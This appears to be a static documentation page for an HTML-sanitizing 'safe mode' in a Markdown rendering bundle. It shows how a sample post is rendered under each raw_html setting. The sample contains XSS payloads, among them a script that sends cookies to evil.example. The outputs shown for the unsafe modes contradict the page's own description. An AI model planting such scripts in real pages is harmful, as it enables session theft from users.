Static preview. Server-backed interactions are available only in a local checkout.

Safe mode

The bundle sanitizes raw HTML by default. The raw_html option controls how it is treated: strip (default), escape, or allow. Setting safe_mode: false disables sanitization entirely.

Untrusted source (contains XSS attempts)
# User Post

Normal content here.

<script>document.location='https://evil.example/?c='+document.cookie</script>

<img src="x" onerror="alert('xss')">

More normal content.
strip safe
<section id="User-Post">
  <h1>User Post</h1>
  <p>Normal content here.</p>
  <p>&lt;script&gt;document.location=‘https://evil.example/?c=‘+document.cookie&lt;/script&gt;</p>
  <p>&lt;img src=“x” onerror=“alert(‘xss’)”&gt;</p>
  <p>More normal content.</p>
</section>

User Post

Normal content here.

<script>document.location=‘https://evil.example/?c=‘+document.cookie</script>

<img src=“x” onerror=“alert(‘xss’)”>

More normal content.

escape safe
<section id="User-Post">
  <h1>User Post</h1>
  <p>Normal content here.</p>
  <p>&lt;script&gt;document.location=‘https://evil.example/?c=‘+document.cookie&lt;/script&gt;</p>
  <p>&lt;img src=“x” onerror=“alert(‘xss’)”&gt;</p>
  <p>More normal content.</p>
</section>

User Post

Normal content here.

<script>document.location=‘https://evil.example/?c=‘+document.cookie</script>

<img src=“x” onerror=“alert(‘xss’)”>

More normal content.

allow unsafe

Raw HTML passes through. Only use with fully trusted input.

<section id="User-Post">
  <h1>User Post</h1>
  <p>Normal content here.</p>
  <p>&lt;script&gt;document.location=‘https://evil.example/?c=‘+document.cookie&lt;/script&gt;</p>
  <p>&lt;img src=“x” onerror=“alert(‘xss’)”&gt;</p>
  <p>More normal content.</p>
</section>
safe_mode: false unsafe

No sanitization at all.

<section id="User-Post">
  <h1>User Post</h1>
  <p>Normal content here.</p>
  <p>&lt;script&gt;document.location=‘https://evil.example/?c=‘+document.cookie&lt;/script&gt;</p>
  <p>&lt;img src=“x” onerror=“alert(‘xss’)”&gt;</p>
  <p>More normal content.</p>
</section>